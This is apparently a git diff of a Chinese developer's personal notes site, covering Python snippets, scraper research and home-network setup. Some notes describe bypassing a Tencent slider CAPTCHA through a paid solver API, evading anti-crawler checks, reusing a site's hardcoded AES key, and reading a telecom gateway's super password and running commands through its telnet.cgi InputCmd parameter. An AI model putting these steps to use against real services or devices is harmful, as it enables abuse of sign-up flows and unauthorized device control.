python使用正则过滤表情符号 + + + + + ++ + + diff --git "a/python/python\345\257\271\346\257\224\344\270\244\344\270\252\346\227\266\351\227\264\345\255\227\347\254\246\344\270\262.html" "b/python/python\345\257\271\346\257\224\344\270\244\344\270\252\346\227\266\351\227\264\345\255\227\347\254\246\344\270\262.html" new file mode 100644 index 0000000..55c9fb3 --- /dev/null +++ "b/python/python\345\257\271\346\257\224\344\270\244\344\270\252\346\227\266\351\227\264\345\255\227\347\254\246\344\270\262.html" @@ -0,0 +1,40 @@ + + + + + + + + +python使用正则过滤表情符号
def remove_emojis(data): + emoj = re.compile("[" + u"\U0001F600-\U0001F64F" # emoticons + u"\U0001F300-\U0001F5FF" # symbols & pictographs + u"\U0001F680-\U0001F6FF" # transport & map symbols + u"\U0001F1E0-\U0001F1FF" # flags (iOS) + # u"\U00002500-\U00002BEF" # chinese char + u"\U00002702-\U000027B0" + u"\U00002702-\U000027B0" + # u"\U000024C2-\U0001F251" //中文 + u"\U0001f926-\U0001f937" + u"\U00010000-\U0010ffff" + u"\u2640-\u2642" + u"\u2600-\u2B55" + u"\u200d" + u"\u23cf" + u"\u23e9" + u"\u231a" + u"\ufe0f" # dingbats + u"\u3030" + "]+", re.UNICODE) + return re.sub(emoj, '', data) + + +
python对比两个时间字符串 + + + + + ++ + + diff --git "a/python/python\346\211\223\345\215\260\350\241\214\345\217\267.html" "b/python/python\346\211\223\345\215\260\350\241\214\345\217\267.html" new file mode 100644 index 0000000..ba8b465 --- /dev/null +++ "b/python/python\346\211\223\345\215\260\350\241\214\345\217\267.html" @@ -0,0 +1,86 @@ + + + + + + + + +skill + + + + + ++ + + diff --git "a/python/\344\273\245\345\233\276\346\220\234\345\233\276.html" "b/python/\344\273\245\345\233\276\346\220\234\345\233\276.html" new file mode 100644 index 0000000..6da616d --- /dev/null +++ "b/python/\344\273\245\345\233\276\346\220\234\345\233\276.html" @@ -0,0 +1,34 @@ + + + + + + + + +skill
python 打印行号
import sys + +print(sys._getframe().f_code.co_name) # 当前函数名 +print(sys._getframe().f_lineno) # 当前行号 +
python 获取当前脚本或其他模块的所有类
背景: 一个py文件里有40+个类, 需要创建实例并执行共有的run方法, 简单的方法是写40+行代码完成任务, 也可以通过python高阶函数使用
+import sys, inspect + + +def get_class(current_module): + cls = [] + print("class:",end='') + for name, obj in inspect.getmembers(current_module): + if inspect.isclass(obj): + print(name, end=',') + cls.append(obj) + print() + return cls + + +class A(): + def run(self): + print("current class:", self.__class__.__name__) + + +class B(): + def run(self): + print("current class:", self.__class__.__name__) + + +class C(): + def run(self): + print("current class:", self.__class__.__name__) + + +class D(): + def run(self): + print("current class:", self.__class__.__name__) + + +if __name__ == '__main__': + current_module = sys.modules[__name__] 获取当前文件对象 + + for cls in get_class(current_module): + cls().run() + + +
运行结果
class:A,B,C,D, +current class: A +current class: B +current class: C +current class: D + +
以图搜图 + + + + + + + + + diff --git "a/python/\346\234\272\345\231\250\345\255\246\344\271\240-nsfw.html" "b/python/\346\234\272\345\231\250\345\255\246\344\271\240-nsfw.html" new file mode 100644 index 0000000..4fc4469 --- /dev/null +++ "b/python/\346\234\272\345\231\250\345\255\246\344\271\240-nsfw.html" @@ -0,0 +1,43 @@ + + + + + + + + +nsfw + + + + + ++ + + diff --git "a/python/\347\210\254\350\231\253-pdd\350\260\203\347\240\224.html" "b/python/\347\210\254\350\231\253-pdd\350\260\203\347\240\224.html" new file mode 100644 index 0000000..c81f268 --- /dev/null +++ "b/python/\347\210\254\350\231\253-pdd\350\260\203\347\240\224.html" @@ -0,0 +1,34 @@ + + + + + + + + +nsfw
调研
0. https://github.com/yahoo/open_nsfw
python2
训练好的模型 https://github.com/TechnikEmpire/NsfwSqueezenet
python3版本(不可用) -> https://github.com/rahiel/open_nsfw-
可远程调用版本 版本1 https://github.com/loretoparisi/docker/tree/master/nsfwaas
版本2 https://github.com/nikos-glikis/nsfw-docker
https://github.com/rockyzhengwu/nsfw
1. https://github.com/devzwy/open_nsfw_android
离线识别,基于TensorFlow实现。识别只需20ms,可断网测试,成功率99%,调用只要一行代码,从雅虎的开源项目open_nsfw移植,该模型文件可用于iOS、java、C++等平台
python 版本(识别率很低) https://github.com/devzwy/NSFW-Python
2. https://github.com/mdietrichstein/tensorflow-open_nsfw
仅支持jpeg
3. https://github.com/yangbisheng2009/nsfw-resnet
要自己训练
4. https://github.com/EugenCepoi/nsfw_api
一键docker 带api 可流式读取输出(非常快,目前使用)
docker run -it -p 127.0.0.1:5000:5000/tcp --env PORT=5000 eugencepoi/nsfw_api:latest + + +curl -X GET -H 'Content-Type: application/json' http://localhost:5000\?url\=https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png + +{ + "score": 0.00016061133646871895, + "url": "https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" +} +
pdd调研 + + + + + ++ + + diff --git "a/python/\347\210\254\350\231\253-\344\275\277\347\224\250\346\216\245\345\217\243\350\277\207tx\346\273\221\345\235\227\351\252\214\350\257\201.html" "b/python/\347\210\254\350\231\253-\344\275\277\347\224\250\346\216\245\345\217\243\350\277\207tx\346\273\221\345\235\227\351\252\214\350\257\201.html" new file mode 100644 index 0000000..00137c1 --- /dev/null +++ "b/python/\347\210\254\350\231\253-\344\275\277\347\224\250\346\216\245\345\217\243\350\277\207tx\346\273\221\345\235\227\351\252\214\350\257\201.html" @@ -0,0 +1,95 @@ + + + + + + + + +pdd调研
需求: 全量爬取拼多多商品
拼多多有以下客户端:
- h5端
- app端
其中h5端有加密,无法破解
h5端
- 首页推荐下滑 不需要登录, 按推荐展示商品, 每个分类最多2000商品, 即使登录了也只有2000个
- 分类 需要登录, 理论上可获取选择的分类的所有商品
- 搜索 需要登录, 理论上可获取和搜索关键词有关的的所有商品
渠道一:首页
推荐: 下滑拉取400个后, 显示查看更多
这个推荐手动拉到600左右, 如果太快就会触发验证
登录后, 在首页进行下滑, 可拉取该分类的最多2000条商品(根据不同账号, 推荐可能不同)
经过尝试, 虽然有加密, 但是一个token可以多次发送请求(可模拟器拉取一次后重放), 但是最多有2000条数据
且频率太快会触发安全验证(使用模拟下滑,.8-20秒发一次请求, 近300次请求不会触发验证)
渠道二:分类
参数如下
渠道三: 搜索
经测试这种方式获取商品无上限, 例如搜索
手机
, page 设置为50000 仍可获取到数据(可能会给重复数据)
- 需要关键词
使用接口过tx滑块验证 + + + + + ++ + + diff --git "a/python/\347\210\254\350\231\253-\350\256\260\344\270\200\346\254\241\350\277\207\345\217\215\347\210\254\350\231\253\347\232\204\347\273\217\345\216\206.html" "b/python/\347\210\254\350\231\253-\350\256\260\344\270\200\346\254\241\350\277\207\345\217\215\347\210\254\350\231\253\347\232\204\347\273\217\345\216\206.html" new file mode 100644 index 0000000..ab10070 --- /dev/null +++ "b/python/\347\210\254\350\231\253-\350\256\260\344\270\200\346\254\241\350\277\207\345\217\215\347\210\254\350\231\253\347\232\204\347\273\217\345\216\206.html" @@ -0,0 +1,34 @@ + + + + + + + + +使用接口过tx滑块验证
使用的接口 https://www.notion.so/T-X-HTTP-637bca0458704724a5692a0e283ff5aa
过验证码场景: 富途 https://passport.futunn.com/?target=https%3A%2F%2Fsetup2.futu5.com%2F&lang=zh-cn
0x00 抓包分析
首先我们手动操作一波, 发现三个和验证码有关的请求
其中第一个是用来展示验证码的, 抓包可以得到aid
第二个则是我们将滑块滑倒尾端后发出的验证请求, 如果成功则可以得到
ticket
和randstr
- 接着是注册账号时发送短信验证码的请求, 可以看到里面有上个请求获取到的
ticket
和randstr
字段也就是说, 只要获取到ticket 等信息, 就可以发送短信验证码
0x01 获取ticket和randstr
以下代码是对api的进一步封装
用到的接口: https://www.notion.so/T-X-HTTP-637bca0458704724a5692a0e283ff5aa
+def get_ticket() -> dict: + import json + import time + import requests + """ + 返回可过验证码的ticket和randstr + :return: + {"ticket":"t039_9QCC5xXgpqgLzf2a3PsLAiF2mWGTo9NuFTGKnifb1Xp42wUqn5JUQ-XrAwsNLg4M3fvoZ-cQnCuXVKcDX5nOsPbozWMeQ_","randstr":"@qHZ"} + """ + print("需要人机验证,获取中~") + + aid = "2081701200" # 替换为你的aid + user = "******" + password = "******" + + session = requests.session() + + url = "http://gengduo.me/api/v1/alihd/wstask_tengx?aid={}&servertype=1&refer=&newtype=1&cap_cd=&asig=&user={}&pass={}".format( + aid, + user, password) + + # 尝试三次, 获取任务ID + for i in range(3): + try: + res = session.get(url, timeout=7).json() + print(res) + except: + pass + else: # 成功则停止 + break + else: # 均失败, 返回空 + return {} + + if "request_id" in res: + + request_id = res["request_id"] + + url = 'http://gengduo.me/api/v1/alihd/wstask_result?request_id={request_id}'.format(request_id=request_id) + print(url) + # 轮询60次 + for i in range(60): + print(">>>", i) + try: + res = session.get(url, timeout=7).json() + print(res) + except: + continue + + if "_status" in res and res["_status"] is True: + try: + res_json = json.loads(res["_data"]) + ticket = res_json["data"] + return ticket + except Exception as e: + print(e) + elif "_data" in res and "error" in str(res["_data"]): + return {} + time.sleep(3) + + return {} +
记一次过反爬虫的经历 + + + + + ++ + + diff --git "a/python/\347\210\254\350\231\253-\350\277\207\347\256\200\345\215\225js\345\212\240\345\257\206.html" "b/python/\347\210\254\350\231\253-\350\277\207\347\256\200\345\215\225js\345\212\240\345\257\206.html" new file mode 100644 index 0000000..6e3e01d --- /dev/null +++ "b/python/\347\210\254\350\231\253-\350\277\207\347\256\200\345\215\225js\345\212\240\345\257\206.html" @@ -0,0 +1,93 @@ + + + + + + + + +记一次过反爬虫的经历
fakame.com
反爬表现特征: 1.云服务器第一次访问被拦截, 而本地调试时请求正常发送 2.被拦截时会返回一动态的js代码, 作用是重定向到当前网址 3.加上动态代理后, 即使访问该重定向网址, 下次请求也会被拦截 4.每天8点, 先使用代码访问, 被拦截, 此时使用浏览器访问一次, 然后再使用代码, 可正常工作
网站反爬模式 默认所有ip为黑ip, 当用户第一次访问时, 返回js代码重定向到原网页, 如果此次请求成功, 将该ip加白, 有效期约为1天
特征解读
- 调试时已使用浏览器访问过网站, 已经被加白
- 动态代理每次请求ip不同, 因此访问重定向网址的ip与原ip不同, 无法被加白, 即使被加白, 下次访问ip又发生变化, 无法抓取
- 使用本地浏览器访问, 即访问重定向网站, 给自己的ip加白, 此后使用本机ip即可正常访问
过简单js加密 + + + + + ++ + + diff --git "a/python/\350\277\233\347\250\213\347\256\241\347\220\206.html" "b/python/\350\277\233\347\250\213\347\256\241\347\220\206.html" new file mode 100644 index 0000000..765d834 --- /dev/null +++ "b/python/\350\277\233\347\250\213\347\256\241\347\220\206.html" @@ -0,0 +1,82 @@ + + + + + + + + +过简单js加密
背景: 爬虫需要过加密的, 其中使用了第三方库 pkg: https://www.cnblogs.com/mordom/p/8337337.html
0x00 chrome debug
在这里可以看到, 使用的是crypto-js
根据google 搜索到了这么一篇博文
https://www.codenong.com/js1a0dde3f1b57/
无奈本人对python 的Crypto模块 不太熟悉, 没能实现
只能编写js,并使用node 进行测试
使用前需安装node环境
+const r = require('crypto-js'); + +const { program } = require('commander'); +//https://github.com/tj/commander.js + +let crypto = { + Encrypt: function (t) { + var e = r.enc.Utf8.parse("t171420100302rsa") + , n = r.enc.Utf8.parse("t171420100302rsa") + , o = r.enc.Utf8.parse(t) + , i = r.AES.encrypt(o, e, { + iv: n, + mode: r.mode.CBC, + padding: r.pad.Pkcs7 + }); + return r.enc.Base64.stringify(i.ciphertext) + }, + decoto: function (t) { + var e = r.enc.Base64.parse(t) + , n = r.enc.Utf8.parse("t171420100302rsa") + , o = r.enc.Utf8.parse("t171420100302rsa") + , i = r.lib.CipherParams.create({ + ciphertext: e + }); + return r.AES.decrypt(i, n, { + iv: o, + mode: r.mode.CBC, + padding: r.pad.Pkcs7 + }).toString(r.enc.Utf8) + } +} + +let Encrypt=crypto.Encrypt; +let Decoto = crypto.decoto; + +program + .version('0.0.1') + .option("-E, --Encrypt <str>","Encrypt str") + .option("-D, --Decoto <str>","decoto str") + +program.parse(process.argv); + +if (program.Encrypt){ + console.log(Encrypt(program.Encrypt)) +} + +if (program.Decoto){ + console.log(Decoto(program.Decoto)) +} + +
初始化npm 并安装js依赖
npm init +npm i crypto-js +npm i commander +
然后使用命令行进行调用
+node main.js -D xxxxx + +
为了方便调用, 使用pkg 打包为linux 的可执行文件
pkg: https://www.cnblogs.com/mordom/p/8337337.html
pkg . + +
即可生成文件, 缺点是可执行文件比较大, 优点是开发成本比较低
使用:
-E 进行加密 -D 进行解密
进程管理 + + + + + ++ + + diff --git "a/python/\351\235\242\350\257\225.html" "b/python/\351\235\242\350\257\225.html" new file mode 100644 index 0000000..2c6acf8 --- /dev/null +++ "b/python/\351\235\242\350\257\225.html" @@ -0,0 +1,37 @@ + + + + + + + + +进程管理
supervisor 管理进程简明教程:https://www.jianshu.com/p/bf2b3f4dec73 使用 supervisor 管理进程:https://liyangliang.me/posts/2015/06/using-supervisor/ https://www.cnblogs.com/wswang/p/5795766.html
方便管理 =配置复杂
为实现进程管理, 需要先对程序做以下分类
- demo 程序: 可能会出问题的程序, 需要保留程序上下文 1.使用screen 进行操作
screen -S screen_Name + +python3 main.py +
2.
nohup python3 main.py > log 2>&1 &
- 例行任务
- crontab
这种是比较简单的方式,缺点在于移动文件时不好管理
- superversion + schedule(APScheduler)
配置较复杂 带有web接口
superversion program.conf
[program:zhonghua] +command=python3 APScheduler_main.py ; the program (relative uses PATH, can take args) +process_name=%(program_name)s ; process_name expr (default %(program_name)s) +numprocs=1 ; number of processes copies to start (def 1) +directory=/home/ubuntu/zorsong/zhonghua_task ; directory to cwd to before exec (def no cwd) +;umask=022 ; umask for process (default None) +;priority=999 ; the relative start priority (default 999) +;autostart=true ; start at supervisord start (default: true) +;startsecs=1 ; # of secs prog must stay up to be running (def. 1) +;startretries=3 ; max # of serial start failures when starting (default 3) +autorestart=unexpected ; when to restart if exited after running (def: unexpected) +exitcodes=0,2 ; 'expected' exit codes used with autorestart (default 0,2) +stopsignal=QUIT ; signal used to kill process (default TERM) +stopwaitsecs=10 ; max num secs to wait b4 SIGKILL (default 10) +stopasgroup=false ; send stop signal to the UNIX process group (default false) +killasgroup=false ; SIGKILL the UNIX process group (def false) +user=ubuntu ; setuid to this UNIX account to run the program +redirect_stderr=true ; redirect proc stderr to stdout (default false) +stdout_logfile=/home/ubuntu/zorsong/zhonghua_task/logfile ; stdout log path, NONE for none; default AUTO +;stdout_logfile_maxbytes=1MB ; max # logfile bytes b4 rotation (default 50MB) +;stdout_logfile_backups=10 ; # of stdout logfile backups (default 10) +;stdout_capture_maxbytes=1MB ; number of bytes in 'capturemode' (default 0) +;stdout_events_enabled=false ; emit events on stdout writes (default false) +stderr_logfile=/home/ubuntu/zorsong/zhonghua_task/logfile ; stderr log path, NONE for none; default AUTO +;stderr_logfile_maxbytes=1MB ; max # logfile bytes b4 rotation (default 50MB) +;stderr_logfile_backups=10 ; # of stderr logfile backups (default 10) +;stderr_capture_maxbytes=1MB ; number of bytes in 'capturemode' (default 0) +;stderr_events_enabled=false ; emit events on stderr writes (default false) +;environment=A="1",B="2" ; process environment additions (def no adds) +;serverurl=AUTO ; override serverurl computation (childutils) +
APScheduler
+def foo(): + print("foo") + + +from apscheduler.schedulers.background import BackgroundScheduler + +sch = BackgroundScheduler() + +sch.add_job(foo) # 不加时间, 会在sch.start()后立即执行 +sch.add_job(foo,'interval',minutes=5) # 每5分钟执行一次 +sch.add_job(foo, 'cron', hour='9') # 每天的09:00 执行一次 + + + +
20201026
http://www.vuln.cn/9121
面试 + + + + + ++ + + diff --git a/router/index.html b/router/index.html new file mode 100644 index 0000000..a6a8d5c --- /dev/null +++ b/router/index.html @@ -0,0 +1,34 @@ + + + + + + + + +面试
1,网络 1.1 本地dns服务器如何获取
通过DHCP协议从DHCP服务器获取,就和自动获取IP一样,DNS只不过是其中一个option。
计算机设置自动获取后,它会向网内发送个广播,当服务器收到这个包时就会回应个地址给这台机器,机器取到回应后设置完成 路由器也是类似,从他连接到的运行商发送这个广播 通过DHCP协议从DHCP服务器获取,就和自动获取IP一样,DNS只不过是其中一个option。
车小胖计算机网络话题下的优秀答主19 人赞同了该回答主机在启动时,会发送一个广播DHCP报文来寻找DHCP服务器,来给自己分配上网用的IP地址,DNS服务器地址等信息:什么是DHCP?Dynamic Host Configuration Protocol,动态主机配置协议,它主要用来给用户的电脑分配以下信息:1)IP地址 如 10.1.1.22)IP地址对应的子网掩码 如 255.255.255.0 DHCP 里有很多选项option,子网掩码放在option 1里3)缺省网关 如 10.1.1.1 Option 3,当主机10.1.1.2 想访问互联网,需要把IP包先发给缺省网关10.1.1.1,然后缺省网关再发送给它上游的路由器4)DNS 服务器 如8.8.8.8这个DNS 服务器就是放在option 6信息字段里的,DNS 服务器负责域名和IP地址的翻译,比如你访问 http://www.zhihu.com ,DNS服务器可以把它翻译成115.21.37.139,然后主机就可以用这个IP地址来访问知乎了。那DHCP的安全漏洞是什么呢?如果一个邪恶软件伪造不同的Mac地址,不断发送DHCP discovery,比如1000个,如果没有安全措施,DHCP server很有可能就分配1000个IP地址给它,因为server是根据client Mac来分配IP的,这样很快就可以把地址池资源耗尽,其它的用户因为没有地址可用而无法上网!应对方法:配置DHCP option 82,DHCP discovery途径二层交换机时,交换机修改报文,增加option 82信息,即这条消息是从哪个端口收到的,把这个端口信息添加到DHCP discovery 报文里,服务器根据 “client Mac地址+ 交换机端口号” 来分配IP,即任意一个交换机端口最多分配一个IP,即使采用伪造的不同的Mac地址来请求也是一个!这就是DHCP反欺骗措施,DHCP Anti-Spoofing!----------回复@唐诗宋词评论----------Option 82 是 谁来添加到DHCP 消息报文? 添加到什么报文? 主要作用是什么?主要作用是什么?1) line ID 让Radius server 可以知道DHCP client location 信息,比如 switch x Port x/x/x ,可以提供安全认证服务器更多关于 client 具体位置,可以 tracking and logging DHCP client2) remote ID ,可以让DHCP server 依靠 remote ID + Hardware MAC 来分配IP,避免伪造 MAC 耗尽IP地址池。谁来添加到DHCP 消息报文?1) DHCP snooping switch2) DHCP relay router添加到什么报文? 1) DHCP Discovery2) DHCP Request编辑于 2016-07-17 10:08赞同 195 条评论分享收藏喜欢收起
由器转发 DNS 请求 1.2 更新域名指向,边缘dns服务器如何知道更新了 缓存获取后,再次查询
1.3 qq.com 如何承受这么大的访问量 cdn, dns根据所在地提供不同的ip 然后做负载均衡
1.4 https 密钥交换算法 DH算法 密钥协商算法
1.5 cc攻击, ddos攻击原理
tcp land攻击
1、SYN Flood攻击 SYN Flood攻击是当前网络上最为常见的DDoS攻击,它利用了TCP协议实现上的一个缺陷。通过向网络服务所在端口发送大量的伪造源地址的攻击报文,就可能造成目标服务器中的半开连接队列被占满,从而阻止其他合法用户进行访问。 [7] 2、UDP Flood攻击 UDP Flood是日渐猖厥的流量型DDoS攻击,原理也很简单。常见的情况是利用大量UDP小包冲击DNS服务器或Radius认证服务器、流媒体视频服务器。由于UDP协议是一种无连接的服务,在UDP Flood攻击中,攻击者可发送大量伪造源IP地址的小UDP包。 [7] 3、ICMP Flood攻击 ICMP Flood攻击属于流量型的攻击方式,是利用大的流量给服务器带来较大的负载,影响服务器的正常服务。由于目前很多防火墙直接过滤ICMP报文。因此ICMP Flood出现的频度较低。 [7] 4、Connection Flood攻击 Connection Flood是典型的利用小流量冲击大带宽网络服务的攻击方式,这种攻击的原理是利用真实的IP地址向服务器发起大量的连接。并且建立连接之后很长时间不释放,占用服务器的资源,造成服务器上残余连接(WAIT状态)过多,效率降低,甚至资源耗尽,无法响应其他客户所发起的链接。 [7] 5、HTTP Get攻击 这种攻击主要是针对存在ASP、JSP、PHP、CGI等脚本程序,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用。这种攻击的特点是可以绕过普通的防火墙防护,可通过Proxy代理实施攻击,缺点是攻击静态页面的网站效果不佳,会暴露攻击者的lP地址。 [7] 6、UDP DNS Query Flood攻击 UDP DNS Query Flood攻击采用的方法是向被攻击的服务器发送大量的域名解析请求,通常请求解析的域名是随机生成或者是网络世界上根本不存在的域名。域名解析的过程给服务器带来了很大的负载,每秒钟域名解析请求超过一定的数量就会造成DNS服务器解析域名超时。 [7]
代理CC攻击是黑客借助代理服务器生成指向受害主机的合法网页请求,实现DDoS,和伪装就叫:cc(Challenge Collapsar)
1.6 负载均衡,如果一个机器挂掉,其他的机器应该怎么办
按照处理极限接手部分流量,其余流量则丢弃 +
1.7 快速移动的情况下,会发生什么(基站带宽改变,基站切换
优化: 使用httpdns,内置一些ip服务器做httpdns + 使用quic +
弱网络优化
HttpDNSLib 1)lbs 返回服务器 ip 而非域名 2)本地缓存 lbs ip 地址备用,请求 lbs 时优先使用 ip 而非域名
icmp ping
这里是router + + + + + + + + + diff --git a/router/zerotier.html b/router/zerotier.html new file mode 100644 index 0000000..f91e011 --- /dev/null +++ b/router/zerotier.html @@ -0,0 +1,46 @@ + + + + + + + + +zerotier + + + + + ++ + + diff --git "a/router/zerotier\343\200\201\344\272\214\347\272\247\350\267\257\347\224\261\343\200\201DMZ.html" "b/router/zerotier\343\200\201\344\272\214\347\272\247\350\267\257\347\224\261\343\200\201DMZ.html" new file mode 100644 index 0000000..5f635a7 --- /dev/null +++ "b/router/zerotier\343\200\201\344\272\214\347\272\247\350\267\257\347\224\261\343\200\201DMZ.html" @@ -0,0 +1,34 @@ + + + + + + + + +zerotier
https://stray.love/jiao-cheng/zerotier-zhong-jie-jiao-cheng https://zhuanlan.zhihu.com/p/383471270
使用zerotier完成内网穿透
优点:无需公网ip,即可大概率p2p打通 缺点:移动的设备需要每台设备都安装客户端, 固定的设备可通过路由器安装zerotier直接管理
实战配置
zerotier安装在路由器时,可以自动管理 但是路由器装不了, 所以被迫安装到了n1盒子上,也可以通过设置路由表进行管理
网络情况如下:
hz ,路由器lan 192.168.5.1/24 安装zerotier客户端,分配虚拟ip 10.144.250.49 wz, 路由器lan 192.168.2.1/24 不能装zerotier客户端, 由局域网设备n1(192.168.2.190)安装,并分配虚拟ip 10.144.199.120
1 zerotier 配置
1.1设置路由
1.2 设置这两个设备允许 Allow Ethernet Bridging
zerotier 设置结束
2 客户端设置
2.1 路由器客户端设置
路由器可傻瓜配置,只需要勾选 "自动允许客户端 NAT" 即可
2.2 n1盒子设置
n1盒子没有提供简单的web ui界面, 因此需要手动管理路由表
首先使用 zerotier-cli listnetworks 命令, 查看网卡id
root@aml:~# zerotier-cli listnetworks +200 listnetworks <nwid> <name> <mac> <status> <type> <dev> <ZT assigned ips> +200 listnetworks 8bd5124fd6c7fc63 zt-home 62:0f:bf:0d:13:f1 OK PRIVATE zt0 10.144.199.120/16 +
PRIVATE 后面的zt0是网卡id
第一步,打开盒子的网络转发功能
#临时生效 +echo "1" > /proc/sys/net/ipv4/ip_forward +#永久生效,需要修改sysctl.conf,然后执行sysctl -p +net.ipv4.ip_forward = 1 +
接下来,处理防火墙规则
sudo iptables -A FORWARD -i zt0 -j ACCEPT +sudo iptables -A FORWARD -o zt0 -j ACCEPT +sudo iptables -t nat -A POSTROUTING ! -o lo -j MASQUERADE +
2023 10月16日, 发现这样的规则会导致该设备离线后其他设备不会通过网关访问其他设备,而是通过该设备,很尴尬
这里 zt0 为zerotier虚拟网卡 保存iptable规则
sudo apt-get install iptables-persistent +sudo sh -c "iptables-save > /etc/iptables/rules.v4" +
zerotier、二级路由、DMZ + + + + + + + + + diff --git "a/router/\345\274\202\345\234\260\347\273\204\347\275\221.html" "b/router/\345\274\202\345\234\260\347\273\204\347\275\221.html" new file mode 100644 index 0000000..f99a458 --- /dev/null +++ "b/router/\345\274\202\345\234\260\347\273\204\347\275\221.html" @@ -0,0 +1,39 @@ + + + + + + + + +异地组网 + + + + + ++ + + diff --git "a/router/\347\233\221\346\216\247\346\237\220\344\270\252\346\234\215\345\212\241\346\255\243\345\270\270\350\277\220\350\241\214.html" "b/router/\347\233\221\346\216\247\346\237\220\344\270\252\346\234\215\345\212\241\346\255\243\345\270\270\350\277\220\350\241\214.html" new file mode 100644 index 0000000..eb3db64 --- /dev/null +++ "b/router/\347\233\221\346\216\247\346\237\220\344\270\252\346\234\215\345\212\241\346\255\243\345\270\270\350\277\220\350\241\214.html" @@ -0,0 +1,59 @@ + + + + + + + + +异地组网
设备:k2p
配置:128g ram 千兆wifi、局域网 负责拨号,拥有公共ip
1.开机时执行的命令,用途为将2.xx这台设备转发到自己的36000端口
iptables -t nat -A PREROUTING -i pppoe-wan -p tcp --dport 36000 -j DNAT --to-destination 192.168.2.xx:22 +
- ddns
使用ardnspod实现,基于腾讯云的域名管理
使用方式:在脚本最后加入以下几行即可
arToken="token1,token2" +arDdnsCheck domain.com www +arDdnsCheck domain.com "*" +arDdnsCheck domain.com @ +
- ss server 添加clash规则后,可直接通过clash访问内网资源,优点是不暴露端口在公网,无安全问题
斐讯n1盒子
配置: 安装ubuntu系统,arm芯片, 千兆网口,一个hdmi 两个usb2.0: 打印机 兄弟7060d 斐讯h1 1t硬盘
安装的软件: cups : 打印机管理 端口761 uwsgi: 托管python服务 supervistor: 负责管理后端启停 /etc/supervisor/conf.d/ docker: -mariadb 配置有主从同步服务
zerotier-one: 异地组网客户端 zabbix-agent: zabbix客户端,因为没有arm版本,当时还配置了好久 redis-server: 当时给爬虫服务使用的,后来就没用了 openresty: 学了手lua,不错 nginx: 可以转发一下 motion: 链接usb摄像头后,可以实时推流到web上jpeg-stream(无声音) fail2ban: 防ssh密码破解
wr1200js
配置:4核arm处理器,usb2.0口,千兆wifi、局域网 系统:openwrt
软件: zerotier客户端 wol 网络唤醒
可选:挂载硬盘
cloud server hk
安装 zerotier moon 服务器
监控某个服务正常运行 + + + + + ++ + + diff --git "a/router/\347\256\200\346\230\223\347\233\221\346\216\247.html" "b/router/\347\256\200\346\230\223\347\233\221\346\216\247.html" new file mode 100644 index 0000000..f5f4952 --- /dev/null +++ "b/router/\347\256\200\346\230\223\347\233\221\346\216\247.html" @@ -0,0 +1,34 @@ + + + + + + + + +监控某个服务正常运行
#!/bin/sh +check_time=120 +sserver_port=`uci get sserver.config.port` + +vcount=0 +while [ "1" = "1" ] #死循环 +do + sleep $check_time + + icount=`ps -w|grep ssr-server |grep -v grep |wc -l` + + if [ $icount = 0 ] ;then + logger -t "ssr" "restart ssr server!" + /etc/init.d/sserver restart + exit 0 + fi + + icount=`iptables -S|grep $sserver_port|wc -l` + if [ $icount = 0 ] ;then + logger -t "sserver" "recover iptables,restart ssr server!" + /etc/init.d/sserver restart + exit 0 + fi + +done +
简易监控 + + + + + ++ + + diff --git "a/router/\350\256\260\344\270\200\346\254\241\347\240\264\350\247\243\345\244\251\347\277\274\347\275\221\345\205\263.html" "b/router/\350\256\260\344\270\200\346\254\241\347\240\264\350\247\243\345\244\251\347\277\274\347\275\221\345\205\263.html" new file mode 100644 index 0000000..1212942 --- /dev/null +++ "b/router/\350\256\260\344\270\200\346\254\241\347\240\264\350\247\243\345\244\251\347\277\274\347\275\221\345\205\263.html" @@ -0,0 +1,56 @@ + + + + + + + + +简易监控
23.9.20 开始写方案
方案1:POE录像机
tp 6104 120块钱 4口poe硬盘录像机 + 摄像头80*2 + 硬盘100~200 =280+100~280
可直播,可回放,不占用其他设备负载
方案2:单摄像头(纯娱乐)
海康摄像头dc(100) + n1(0)+1t(0) =100
串流直播,回放(存疑)
换新方案
pc+1tsata固态,拆下来500g用作POE录像机使用
pc+sata硬盘盒(利用海康威视1t)
鉴于目前我的1tssd也不够用,还是得早日提上日程 早用早享受
花费与寿命
4t机械=389 97.25 1t sata = 300 300 500g sata = 134 300 2t nvme = 500 250
综合以上,1tsata无任何意义,500gsata也无任何意义
本地pc 花费 老家pc 花费 监控方案 年份 总花费 分析 1t+2t+4t 500 1t+pcie x4转接 10 poe录像机+poe摄像头✖️2+500g机械 130+80✖️2 4年 510+x 爽 ,4t可以退役给nas用 1t+1t+4t 0 500gsata 159 poe录像机+poe摄像机✖️2+500g机械 130+80✖️2 2年 159+x sata老土,18年的ssd掉速 实践下,如果今天插上去测速还ok,则方案2 不ok,方案1
9.20 记录: c2000pro 速度还可以,而且里面有不少资料,还是留着较好
9.22记录
部署了开源nvr系统,购买了poe交换机+poe摄像头 n1部署nvr https://linuxpip.org/open-source-nvr/
最终方案
设备 方案 价格 图 NVR录像机 斐讯n1+Shinobi $0 (之前就有,150)开源录像系统,其实不是很专业,需要代替可以买80的录像机+好点的硬盘 硬盘 斐讯h1 1t $0 (之前就有,约250) poe交换机 tplink 百兆4口 ¥41 室内 水星4312p $75 院子 mipc428pw 100 大门口 mipc451 100 双摄 MIPC552W 179 9.25
实际测试发现,2.8mm视角也比较小,并且半球没有云台,也不能动,因此4312p放一个差一点的位置,然后补充
mipc428pw 和
mipc451
即可完成构建
10.8
最终方案就是75+40+100的方案
记一次破解天翼网关 + + + + + ++ + + diff --git a/video/ffmpeg.html b/video/ffmpeg.html new file mode 100644 index 0000000..ee85bc8 --- /dev/null +++ b/video/ffmpeg.html @@ -0,0 +1,56 @@ + + + + + + + + +记一次破解天翼网关
https://xz.aliyun.com/t/9046#toc-1
- 设备信息
2.首先获取超级密码 访问http://192.168.1.1:8080/cgi-bin/baseinfoSet.cgi
凯撒密码,编写python脚本来解密
- 使用超级账号密码登录
访问http://192.168.1.1:8080/cgi-bin/telnet.cgi通过InputCmd参数可以直接执行系统命令, 访问http://192.168.1.1:8080/cgi-bin/submit.cgi可以看到执行结果,
编写简单的脚本, 方便看回显
